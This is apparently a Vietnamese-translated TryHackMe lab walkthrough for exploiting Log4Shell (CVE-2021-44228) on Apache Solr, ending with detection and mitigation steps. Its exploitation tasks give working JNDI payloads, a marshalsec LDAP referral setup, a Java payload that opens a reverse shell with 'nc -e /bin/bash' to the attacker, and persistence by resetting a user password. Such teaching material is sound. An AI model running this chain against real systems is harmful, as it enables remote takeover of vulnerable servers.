Task 1 CVE-2021-44228 Introduction
Vào ngày 9 tháng 12 năm 2021, thế giới đã biết về một lỗ hổng mới được xác định là CVE-2021-44228, ảnh hưởng đến gói ghi nhật ký Java log4j
. Lỗ hổng này đã giành được điểm số nghiêm trọng là 10,0 (chỉ định quan trọng nhất) và cung cấp mã từ xa thực thi mã từ xa tầm thường trên các máy chủ tương tác với phần mềm sử dụng phiên bản log4j này. Cuộc tấn công này được đặt tên là "Log4Shell".
Hôm nay, log4j
phiên bản 2.16.0
có sẵn và vá lỗ hổng này (JNDI bị vô hiệu hóa hoàn toàn, hỗ trợ Tra cứu Thư bị xóa và lỗ hổng DoS mới CVE-2021-45046 không có). https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0
Tuy nhiên, sự nguy hiểm tuyệt đối của lỗ hổng này là do mức độ phổ biến của gói ghi nhật ký. Hàng triệu ứng dụng cũng như nhà cung cấp phần mềm sử dụng gói này như một phần phụ thuộc vào mã của riêng họ. Mặc dù bạn có thể vá cơ sở mã của riêng mình bằng cách sử dụng log4j
, các nhà cung cấp và nhà sản xuất khác vẫn sẽ cần phải đẩy các bản cập nhật bảo mật của riêng họ xuống phía dưới. Nhiều nhà nghiên cứu bảo mật đã ví lỗ hổng này với lỗ hổng bảo mật Shellshock bởi bản chất của bề mặt tấn công khổng lồ của nó. Chúng ta sẽ thấy lỗ hổng này trong nhiều năm tới.
Để có danh sách phần mềm và dịch vụ dễ bị tấn công bởi CVE-2021-44228 được cộng đồng hỗ trợ ngày càng tăng, hãy xem kho lưu trữ GitHub này:
Phòng này sẽ giới thiệu cách bạn có thể kiểm tra, khai thác và giảm thiểu lỗ hổng bảo mật này trong Log4j.
Trong khi có một số bài báo, blog, tài nguyên và tài liệu học tập khác xoay quanh CVE-2021-44228, tôi (tác giả của bài tập này) đặc biệt quan tâm đến những điều này:
- https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java
- https://log4shell.huntress.com/
- https://www.youtube.com/watch?v=7qoPDq41xhQ
Ghi chú của tác giả:
Vui lòng sử dụng thông tin bạn học được trong phòng này để cải thiện cảnh quan an ninh. Kiểm tra các hệ thống mà bạn sở hữu, áp dụng các bản vá lỗi và biện pháp giảm thiểu khi thích hợp, đồng thời giúp toàn ngành phục hồi. Đây là một mối đe dọa hiện tại và trong thế giới thực - cho dù bạn là người kiểm tra thâm nhập, người đội đỏ, người ứng phó sự cố, nhà phân tích bảo mật, thành viên nhóm xanh hay bạn là gì - bài tập này nhằm giúp bạn và thế giới hiểu và đạt được nhận thức về lỗ hổng phổ biến này. Nó không nên được sử dụng cho mục đích lợi dụng hoặc động cơ tài chính phục vụ bản thân (tôi đang nhìn bạn, cầu xin những người săn tiền thưởng)
Ngoài ra, xin lưu ý rằng các nhà phát triển gói log4j làm việc trên dự án mã nguồn mở như một công việc của tình yêu và niềm đam mê. Họ là những nhà phát triển tình nguyện duy trì dự án của họ trong thời gian rảnh rỗi. Hoàn toàn không được đánh đập, xấu hổ hoặc ác ý đối với những cá nhân đó. Đối với tất cả mọi thứ, hãy nâng cao kiến thức của bạn để bạn có thể là bệ đỡ và trụ cột cho cộng đồng an toàn thông tin. Giáo dục, chia sẻ và giúp đỡ.
Chúng tôi khuyên bạn nên sử dụng AttackBox dựa trên web của TryHackMe cho các bài tập này, tuy nhiên, hướng dẫn khai thác cục bộ này rất chi tiết. Để khởi động AttackBox, hãy nhấp vào nút "Start AttackBox" màu xanh lam ở đầu trang.
Task 2 Reconnaissance
Máy ảo mục tiêu bao gồm phần mềm sử dụng log4j
cung cấp cho bạn một sân chơi để khám phá lỗ hổng bảo mật.
Sau khi triển khai máy ảo của mình, bạn sẽ thấy rằng địa chỉ IP (có thể truy cập trong VPN TryHackMe hoặc thông qua AttackBox được cung cấp) là
Để bắt đầu, hãy bắt đầu với trinh sát cơ bản để hiểu những cổng nào đang mở trên máy này. Điều này được thực hiện tốt nhất trong bản phân phối Linux, như Kali Linux, ParrotOS, Black Arch (hoặc bất kỳ hương vị nào khác mà bạn chọn) bằng công cụ dòng lệnh nmap:
attackbox@tryhackme$ nmap -v MACHINE_IP
Ứng dụng hiện diện trên mục tiêu này đặc biệt sử dụng các cổng mà nmap có thể không nhận thấy ngay lập tức. Để có "toàn bộ thông tin các cổng", hãy quét tất cả các cổng như sau:
attackbox@tryhackme$ nmap -v -p- MACHINE_IP
What service is running on port 8983? (Just the name of the software)
What service is running on port 8983? (Just the name of the software)
Task 3 Discovery
Máy mục tiêu này đang chạy Apache Solr 8.11.0, một ví dụ về phần mềm được biết là bao gồm gói log4j dễ bị tấn công này. Vì lợi ích của việc hiển thị lỗ hổng này, ứng dụng chạy trên Java 1.8.0_181.
Khám phá giao diện web có thể truy cập tại http://MACHINE_IP:8983
và nhấp vào xung quanh để có cảm nhận về ứng dụng. Để biết thêm chi tiết về Apache Solr, vui lòng tham khảo trang web chính thức của họ. https://solr.apache.org/
Phiên bản Apache Solr này được cung cấp mà không có bất kỳ dữ liệu nào. Nó là một cài đặt phẳng, đơn giản và hoàn toàn tối thiểu - nhưng về cốt lõi của nó, nó vẫn dễ bị tấn công bởi CVE-2021-44228 này.
-Dsolr.log.dir
được đặt gì, được hiển thị ở trang đầu?Tải xuống các tệp đính kèm (có thể truy cập ở trên cùng bên phải của tác vụ này) xem một số tệp nhật ký mẫu trong Solr. Khám phá từng tệp, nếu chỉ để cảm nhận những gì được hiển thị trong nhật ký nào.
Một tệp có một số lượng đáng kể các mục INFO hiển thị các yêu cầu lặp lại đến một điểm cuối URL cụ thể. Tập tin nào có chứa thông tin này? (Chỉ cần tên tệp, không cần đường dẫn)
"Đường dẫn" hoặc điểm cuối URL nào được chỉ ra trong các mục nhập lặp lại này?
Task 4 Proof of Concept
Lưu ý rằng điểm cuối URL mà bạn vừa khám phá cần phải được mở đầu bằng solr/
tiền tố khi xem nó từ giao diện web. Điều này có nghĩa là bạn nên truy cập:
http://MACHINE_IP:8983/solr/admin/cores
Bạn cũng nhận thấy rằng các đường dẫn như được bao gồm trong tệp nhật ký. Tại thời điểm này, bạn có thể đã bắt đầu nhìn thấy vectơ tấn công.
Gói log4j thêm logic bổ sung vào nhật ký bằng cách "phân tích cú pháp" các mục nhập, cuối cùng là để làm phong phú dữ liệu - nhưng cũng có thể thực hiện các hành động và thậm chí đánh giá mã dựa trên dữ liệu nhập. Đây là ý chính của CVE-2021-44228. Trên thực tế, cú pháp khác có thể được thực thi giống như nó được nhập vào tệp nhật ký.
Một số ví dụ về cú pháp này là:
${sys:os.name}
${sys:user.name}
${log4j:configParentLocation}
${ENV:PATH}
${ENV:HOSTNAME}
${java:version}
Bạn có thể đã biết khối lượng chung để lạm dụng lỗ hổng log4j này. Định dạng của cú pháp thông thường tận dụng lợi thế này trông giống như sau:
${jndi:ldap://ATTACKERCONTROLLEDHOST}
Cú pháp này chỉ ra rằng log4j sẽ gọi chức năng từ "JNDI" hoặc "Giao diện thư mục và đặt tên Java." Cuối cùng, điều này có thể được sử dụng để truy cập các tài nguyên bên ngoài, hoặc "tài liệu tham khảo", là thứ được vũ khí hóa trong cuộc tấn công này.
Chú ý truy vấn ldap://
. Điều này chỉ ra rằng mục tiêu sẽ tiếp cận với một điểm cuối (một vị trí bị kẻ tấn công kiểm soát, trong trường hợp tấn công này) thông qua giao thức LDAP. Vì mục đích ngắn gọn, chúng tôi sẽ không cần phải trình bày tất cả nội dung giới thiệu và chi tiết của LDAP ở đây, nhưng biết rằng đây là thứ chúng tôi sẽ cần làm việc khi chúng tôi tinh chỉnh cuộc tấn công của mình.
Hiện tại, hãy biết rằng mục tiêu trên thực tế sẽ tạo kết nối với một vị trí bên ngoài. Điều này được chỉ ra bởi ATTACKERCONTROLLEDHOST
trình giữ chỗ trong cú pháp trên. Bạn, đóng vai trò là kẻ tấn công trong trường hợp này, có thể lưu trữ một người nghe đơn giản để xem kết nối này.
Câu hỏi tiếp theo là, chúng ta có thể nhập cú pháp này ở đâu?
Bất kỳ nơi nào có dữ liệu được ứng dụng ghi lại.
Đây là mấu chốt của lỗ hổng này. Thật không may, rất khó để xác định đâu là bề mặt tấn công của các ứng dụng khác nhau và trên thực tế, ứng dụng nào dễ bị tấn công. Chỉ cần nhìn thấy sự hiện diện của các tệp log4j không có nghĩa là số phiên bản chính xác hoặc thậm chí vị trí hoặc cách ứng dụng có thể sử dụng gói.
Nghĩ lại nhiệm vụ trước đó. Bạn đã phát hiện ra rằng bạn có thể cung cấp
params
tới đường dẫn /solr/admin/cores
, và bây giờ bạn đã hiểu rõ hơn về cách log4j hoạt động, bạn nên hiểu rằng đây là nơi bạn cung cấp cú pháp tiêm của mình. Bạn có thể chỉ cần cung cấp các biến hoặc tham số HTTP GET sau đó sẽ được log4j xử lý và phân tích cú pháp. Tất cả những gì cần là một dòng văn bản - và điều đó làm cho lỗ hổng này cực kỳ dễ bị khai thác.
Các địa điểm khác bạn có thể cung cấp cú pháp JNDI này:
- Hộp nhập liệu, biểu mẫu đăng nhập người dùng và mật khẩu, điểm nhập dữ liệu trong ứng dụng
- Tiêu đề HTTP chẳng hạn như
User-Agent
,X-Forwarded-For
, hoặc các tiêu đề có thể tùy chỉnh khác - Bất kỳ nơi nào cho dữ liệu do người dùng cung cấp
Nếu bạn muốn biết thêm thông tin về vectơ tấn công JNDI này, vui lòng xem lại bài thuyết trình của Black Hat USA từ năm 2016.
:
attackbox@tryhackme$ ip addr show
Bây giờ bạn đã tổ chức trình lắng nghe, hãy thực hiện một yêu cầu bao gồm cú pháp tải trọng JNDI nguyên thủy này như một phần của các tham số HTTP. Điều này có thể dễ dàng được thực hiện với tiện ích dòng lệnh curl.
attackbox@tryhackme$ curl 'http://MACHINE_IP:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:9999\}'
Lưu ý, do việc sử dụng ký tự $ đô-la-ký trong cú pháp của bạn, bạn phải đảm bảo bạn đặt URL trong dấu ngoặc đơn để bash (trình bao dòng lệnh của bạn) không diễn giải nó như một biến. Ngoài ra, bạn phải loại bỏ dấu ngoặc nhọn {} bằng một ký tự dấu gạch chéo ngược, để chúng không bị mô tả sai trong các đối số lệnh curl.
Xác minh rằng bạn đã nhận được kết nối bằng cách xem thông báo sau trong trình nghe netcat của bạn:
Connection received from MACHINE_IP
Task 5 Exploitation
Tại thời điểm này, bạn đã xác minh rằng mục tiêu trên thực tế là dễ bị tấn công bằng cách thấy kết nối này bị bắt trong trình nghe netcat của bạn. Tuy nhiên, nó thực hiện một yêu cầu LDAP ... vì vậy tất cả những gì người nghe netcat của bạn có thể đã thấy là các ký tự không in được (các byte trông lạ). Giờ đây, chúng tôi có thể xây dựng dựa trên nền tảng này để phản hồi với trình xử lý LDAP thực.
Chúng tôi sẽ sử dụng mã nguồn mở và tiện ích công cộng để tạo thành một "Máy chủ LDAP". Điều này về cơ bản sẽ được sử dụng để chuyển hướng yêu cầu ban đầu của nạn nhân đến một vị trí khác, nơi bạn có thể lưu trữ một tải trọng thứ cấp mà cuối cùng sẽ chạy mã trên mục tiêu. Điều này bị phá vỡ như vậy:
${jndi:ldap://attackerserver:1389/Resource}
-> liên kết với Máy chủ LDAP của bạn- Máy chủ giới thiệu LDAP nâng cấp yêu cầu thành một máy chủ phụ
http://attackerserver/resource
- Nạn nhân truy xuất và thực thi mã có trong
http://attackerserver/resource
Điều này có nghĩa là chúng tôi sẽ cần một máy chủ HTTP, mà chúng tôi có thể chỉ cần lưu trữ với bất kỳ tùy chọn nào sau đây (phục vụ trên cổng 8000):
python3 -m http.server
php -S 0.0.0.0:8000
- (Hoặc sử dụng
busybox httpd
hoặc dịch vụ web chính thức mà bạn có thể thích)
Nếu bạn gặp khó khăn ở bất kỳ bước nào sau đây, chúng tôi có một video giới thiệu (sử dụng AttackBox) từng bước để thực thi mã từ xa: https://youtu.be/OJRqyCHheRE
Tuy nhiên, đơn đặt hàng đầu tiên của doanh nghiệp là lấy Máy chủ giới thiệu LDAP. Chúng ta sẽ sử dụng marshalsec
được cung cấp tại https://github.com/mbechler/marshalsec
Cuối cùng, điều này cần phải chạy Java. Đánh giá README cho tiện ích này, nó đề xuất sử dụng Java 8. (Bạn có thể thành công hoặc không khi sử dụng một phiên bản khác, nhưng để "chơi đúng luật", chúng tôi sẽ khớp với cùng một phiên bản Java được sử dụng trên máy ảo mục tiêu)
Nếu bạn đang sử dụng TryHackMe AttackBox, bạn KHÔNG cần phải làm theo các bước dưới đây - hãy chuyển sang câu hỏi tiếp theo.
Xem các bước để cài đặt Java 8 cục bộ (chỉ làm theo nếu không sử dụng AttackBox)
Nếu bạn không chạy 1.8.0_181 trong hộp tấn công, bạn có thể xem lại các bước update-alternatives --set
bên dưới để chuyển sang phiên bản Java 8 này.
Nếu bạn đang sử dụng máy tấn công của riêng mình được kết nối với VPN, bạn có thể cần tải xuống và cài đặt Java 1.8.0_181 theo các bước bên dưới:
Bạn có thể tìm thấy bản sao của các phiên bản Java khác nhau để chạy trên Linux tại vị trí này. http://mirrors.rootpei.com/jdk/
Chọn gói jdk-8u181-linux-x64.tar.gz (hoặc cách khác, tải xuống tệp đính kèm cho tác vụ này, được thêm vào để thuận tiện cho bạn).
Tải phần mềm này xuống máy tấn công của bạn và chạy các lệnh sau để định cấu hình hệ thống của bạn sử dụng phiên bản Java này theo mặc định (điều chỉnh đường dẫn hệ thống tệp tải xuống nếu thích hợp):
sudo mkdir /usr/lib/jvmcd /usr/lib/jvm
sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz # modify as needed
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1
sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws
Sau khi bạn đã tải xuống, giải nén và đặt các cài đặt hệ thống tệp thích hợp (cú pháp của các lựa chọn thay thế cập nhật) ở trên, bạn sẽ có thể chạy java -version và xác minh rằng trên thực tế bạn đang chạy Java 1.8.0_181.
Follow the steps above and verify you are running Java 1.8.0_181.
Tiếp theo, chúng ta sẽ cần truy xuất tiện ích marshalsec đã tham chiếu trước đó. Nếu bạn đang ở trên AttackBox, hãy điều hướng đến /root/Rooms/solar/marshalsec
attackbox@tryhackme$ cd /root/Rooms/solar/marshalsec
Xem các bước để tải xuống cục bộ marshalsec (chỉ làm theo nếu không sử dụng AttackBox)
Bạn có thể tải ở git
Xem các bước để tải xuống cục bộ marshalsec (chỉ làm theo nếu không sử dụng AttackBox):
sudo apt install git
Sao chép kho lưu trữ ở bất kỳ vị trí hệ thống tệp nào bạn chọn (tôi sẽ đề xuất /tmp hoặc /opt):
git clone https://github.com/mbechler/marshalsec
Tải xuống và thay đổi các thư mục vào thư mục mới này (cd marshalsec
)
Chúng ta phải xây dựng marshalsec bằng Java builder maven. Nếu bạn chưa có maven trên hệ thống của mình, bạn có thể cài đặt nó thông qua trình quản lý gói của mình (không cần thiết nếu bạn đang sử dụng AttackBox): sudo apt install maven
Tiếp theo, chạy lệnh để xây dựng marshalsec
:
attackbox@tryhackme:~/root/Rooms/solar/marshalsec$ mvn clean package -DskipTests
Xin lưu ý, AttackBox cho người dùng miễn phí không có internet và sẽ không cài đặt các gói maven. Đăng ký để hoàn thành lab này thông qua AttackBox hoặc cài đặt cục bộ công cụ marshlsec.
Với tiện ích marshalsec được xây dựng, chúng tôi có thể khởi động một máy chủ giới thiệu LDAP để chuyển hướng các kết nối đến máy chủ HTTP phụ của chúng tôi (chúng tôi sẽ chuẩn bị chỉ trong giây lát). Chúng tôi hoan nghênh bạn tìm hiểu kỹ cách sử dụng, các thông số và các cài đặt khác có thể được định cấu hình bằng công cụ này - nhưng để minh họa, cú pháp để khởi động máy chủ LDAP như sau:
attackbox@tryhackme:~/root/../marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit"
Điều chỉnh địa chỉ IP cho máy tấn công của bạn nếu cần. Lưu ý rằng chúng tôi sẽ cung cấp cổng HTTP lắng nghe trên 8000.
Kết quả của việc chạy lệnh này là gì? (Bạn nên để cửa sổ đầu cuối này mở vì nó sẽ tích cực chờ kết nối)
Bây giờ máy chủ LDAP của chúng tôi đã sẵn sàng và đang chờ, chúng tôi có thể mở cửa sổ đầu cuối thứ hai để chuẩn bị và tải trọng cuối cùng và máy chủ HTTP phụ của chúng ta.
Cuối cùng, lỗ hổng log4j sẽ thực thi mã tùy ý mà bạn tạo trong ngôn ngữ lập trình Java. Nếu bạn không quen thuộc với Java, đừng lo lắng - chúng tôi sẽ sử dụng cú pháp đơn giản để chạy một lệnh hệ thống. Trên thực tế, chúng tôi sẽ truy xuất một kết nối ngược-shell để chúng tôi có thể giành quyền kiểm soát máy mục tiêu!
Tạo và chuyển vào một thư mục mới nơi bạn có thể lưu trữ tải trọng này. Đầu tiên, hãy tạo tải trọng của bạn trong một trình soạn thảo văn bản mà bạn chọn (bàn di chuột, nano, vim, Văn bản siêu phàm, Mã VS, bất cứ thứ gì), với tên cụ thể Exploit.java
:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Sửa đổi địa chỉ IP và số cổng của kẻ tấn công nếu thích hợp (chúng tôi đang sử dụng 9999 làm số cổng mẫu như trước đây).
Đối với mã khai thác này, bạn có thể thấy chúng tôi sẽ thực hiện một lệnh trên mục tiêu, cụ thể là nc -e /bin/bash để gọi lại máy tấn công của chúng tôi. Mục tiêu này đã được định cấu hình với ncat để dễ khai thác, mặc dù chúng tôi hoan nghênh bạn thử nghiệm với các tải trọng khác.
Biên dịch mã độc javac Exploit.java -source 8 -target 8
và xác minh nó thành công bằng cách chạy lệnh ls và tìm tệp Exploit.class mới được tạo; loại bỏ "-source 8 -target 8" khỏi lệnh nếu không sử dụng tấn công.
attackbox@tryhackme$ javac Exploit.java -source 8 -target 8
Chạy phần trên trong cùng một thư mục như nơi bạn đã lưu tệp Exploit.java
Với tải trọng của bạn đã được tạo và biên dịch, giờ đây bạn có thể lưu trữ nó bằng cách tạo một máy chủ HTTP tạm thời.
attackbox@tryhackme$ python3 -m http.server
Tải trọng của bạn được tạo và biên dịch, nó được lưu trữ với máy chủ HTTP trong một thiết bị đầu cuối, máy chủ giới thiệu LDAP của bạn đang hoạt động và đang chờ ở một thiết bị đầu cuối khác - tiếp theo, hãy chuẩn bị một trình nghe netcat để bắt ngược shell của bạn trong một cửa sổ đầu cuối mới khác:
attackbox@tryhackme$ nc -lnvp 9999
Cuối cùng, tất cả những gì còn lại cần làm là kích hoạt khai thác và kích hoạt cú pháp JNDI của chúng tôi! Lưu ý những thay đổi về số cổng (bây giờ đề cập đến máy chủ LDAP của chúng tôi) và tài nguyên mà chúng tôi truy xuất, chỉ định cách khai thác của chúng tôi:
attackbox@tryhackme$ curl 'http://MACHINE_IP:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'
Sửa đổi địa chỉ IP của kẻ tấn công nếu thích hợp.
Chạy lệnh trên và bắt một trình kết nối ngược trong trình nghe netcat của bạn!
Bây giờ bạn đã nhận được quyền truy cập ban đầu và lệnh-và-kiểm soát trên một phiên bản Apache Solr mới được cài đặt. Đây chỉ là một ví dụ trong số rất nhiều ứng dụng dễ bị tổn thương bị ảnh hưởng bởi lỗ hổng log4j này.
Tại thời điểm này, một tác nhân đe dọa thực tế có thể làm bất cứ điều gì họ muốn với nạn nhân - cho dù đó là leo thang đặc quyền, xâm nhập, cài đặt kiên trì, thực hiện chuyển động ngang hoặc bất kỳ hoạt động hậu khai thác nào khác - có khả năng đánh rơi công cụ khai thác tiền điện tử, trojan truy cập từ xa, đèn hiệu và cấy ghép hoặc thậm chí triển khai ransomware.
Tất cả những gì cần làm là một chuỗi văn bản và một chút thiết lập với công cụ có sẵn miễn phí. Đây chính là lý do tại sao Internet bùng cháy vào cuối tuần ngày 9 tháng 12 năm 2021.
Hãy nhớ những cách ứng phó sự cố mà bạn biết.
THÔNG TIN KHẮC PHỤC SỰ CỐ
Nếu bạn không thấy kết nối trình bao ngược của mình đi qua, hãy nhớ truy cập lại tệp Exploit.java của bạn.
1. Đảm bảo bạn không mắc lỗi chính tả nào trong cú pháp Java (quên dấu chấm phẩy hoặc dấu ngoặc nhọn đóng).
2. Đảm bảo địa chỉ IP của kẻ tấn công khớp với những gì được hiển thị trong đầu ra ip addr show cho giao diện mạng của bạn.
3. Đảm bảo rằng cổng của bạn khớp với cổng mà người nghe netcat của bạn đang chờ và phục vụ.
Nếu bạn cần thực hiện bất kỳ thay đổi hoặc chỉnh sửa nào đối với tệp Exploit.java của mình, bạn phải nhớ biên dịch lại tệp vớijavac Exploit.java
.
Truy cập lại máy chủ HTTP của bạn.
1. Đảm bảo rằng nó đang chạy trên thực tế.
2. Đảm bảo rằng nó đang chạy trong cùng một thư mục với tệp Exploit.java của bạn.
Khi bạn chạy lệnh curl để kích hoạt khai thác, tuần tự bạn sẽ thấy:
1. Một kết nối được thực hiện trên máy chủ LDAP của bạn,
2. Một kết nối được thực hiện trên máy chủ HTTP của bạn,
3. Một kết nối được thực hiện trong trình nghe netcat của bạn.
Sau khi nhận được kết nối, bạn có thể không thấy "lời nhắc". Bạn vẫn có thể nhập các lệnh để kiểm tra xem bạn có shell hay không.
Sau khi nhận được một trình bao đảo ngược, hãy thử nghiệm với các lệnh khác mà bạn có thể chạy với tải trọng Exploit.java của mình. Như một bài tập cho người đọc - bạn có thể tải trình bao Meterpreter không? Làm thế nào về một đặc vụ Empire? Một đèn hiệu Cobalt Strike?
Task 6 Persistence
Kiểm tra xem bạn đang chạy tài khoản người dùng nào trong ngữ cảnh kết nối ngược.
whoami
Nếu bạn muốn "ổn định shell của mình" để dễ dàng nhập lệnh hơn, bạn có thể sử dụng thủ thuật nâng cấp thông thường (giả sử bạn đang chạy trong bash shell. Nếu bạn đang chạy trong zsh, bạn sẽ cần phải khởi động trình nghe netcat của mình trong một bash ... nó sẽ đủ dễ dàng để khai thác lại):
(on the reverse shell) python3 -c "import pty; pty.spawn('/bin/bash')"
(press on your keyboard) Ctrl+Z
(press on your keyboard) Enter
(on your local host) stty raw -echo
(on your local host) fg
(you will not see your keystrokes -- trust yourself and hit Enter
)
(press on your keyboard) Enter
(press on your keyboard) Enter
(on the reverse shell) export TERM=xterm
Giờ đây, bạn đã có một shell ổn định, nơi bạn có thể sử dụng các phím mũi tên trái và phải một cách an toàn để di chuyển xung quanh đầu vào của mình, các phím mũi tên lên và xuống để truy cập lại lịch sử lệnh, Tab để tự động hoàn thành và Ctrl + C một cách an toàn để dừng chạy chương trình !
Kiểm tra quyền của người dùng cấp cao. Để thuận tiện cho bạn trong bài tập này, người dùng của bạn nên có đặc quyền sudo mà không cần mật khẩu.
$ sudo -l
Nếu bạn muốn cấp cho mình sự kiên trì và quyền truy cập vào máy thông qua SSH, hãy trở thành root ngay lập tức và thay đổi mật khẩu cho người dùng solr theo một trong những lựa chọn của bạn. Bằng cách này, bạn có thể SSH khi cần thiết!
sudo bash
passwd solr
Trong một cửa sổ đầu cuối khác, hãy SSH vào máy với thông tin đăng nhập mới của bạn.
attackbox@tryhackme$ ssh solr@MACHINE_IP
Task 7 Detection
Review the log file that you know is affected by the log4j
vulnerability.
Notice your JNDI attack syntax included in the log entries! If you would like to experiment more, try some of the bypasses mentioned in the Task below.
Task 8 Bypasses
Task 9 Mitigation
Xác định vị trí tệp solr.in.sh tồn tại trên hệ thống tệp của máy mục tiêu này. Bạn có thể thực hiện việc này nhanh chóng bằng lệnh sau:
user@machine$ locate solr.in.sh
Bạn có thể thấy hai kết quả - chúng tôi muốn kết quả tương ứng với cấu hình toàn hệ thống (xem gợi ý nếu bạn không hiểu điều này đề cập đến điều gì)
What is the full path of the specific solr.in.sh
file?
Trang Bảo mật của trang web Apache Solr giải thích rằng bạn có thể thêm cú pháp cụ thể này vào tệp solr.in.sh:
SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"
Sửa đổi tệp solr.in.sh bằng trình soạn thảo văn bản mà bạn chọn. Bạn sẽ cần tiền tố sudo để mượn đặc quyền root nếu bạn chưa root.
Scroll to the bottom of the file, and add a new line with the above syntax. Save and close the file.
Bây giờ tệp cấu hình đã được sửa đổi, dịch vụ vẫn cần được khởi động lại để thay đổi có hiệu lực.
Quá trình này có thể khác nhau giữa các lần cài đặt, nhưng đối với máy chủ này, bạn có thể khởi động lại dịch vụ bằng cú pháp sau:
user@machine$ sudo /etc/init.d/solr restart
Run the above command wait for the Apache Solr service to successfully restart.
Để xác thực rằng bản vá đã diễn ra, hãy bắt đầu một trình nghe netcat khác như bạn đã có trước đó và khởi động máy chủ giới thiệu LDAP tạm thời và máy chủ HTTP của bạn (lại ở các thiết bị đầu cuối riêng biệt).
Bạn sẽ muốn tạo lại cùng một thiết lập để khai thác lại máy.
user@machine$ nc -lnvp 9999
Nếu bạn cần cập nhật cú pháp lệnh, vui lòng cuộn lên nhiệm vụ số 5.
Re-exploit the server with the same curl
command syntax you used in Task #5.
Bạn sẽ thấy rằng không có yêu cầu nào được thực hiện đối với máy chủ LDAP tạm thời của bạn, do đó không có yêu cầu nào được thực hiện đối với máy chủ HTTP của bạn và ... không có trình bao ngược nào được gửi trở lại trình nghe netcat của bạn!
Verify that this Apache Solr instance has now been mitigated against the Log4shell exploit!
0 Comments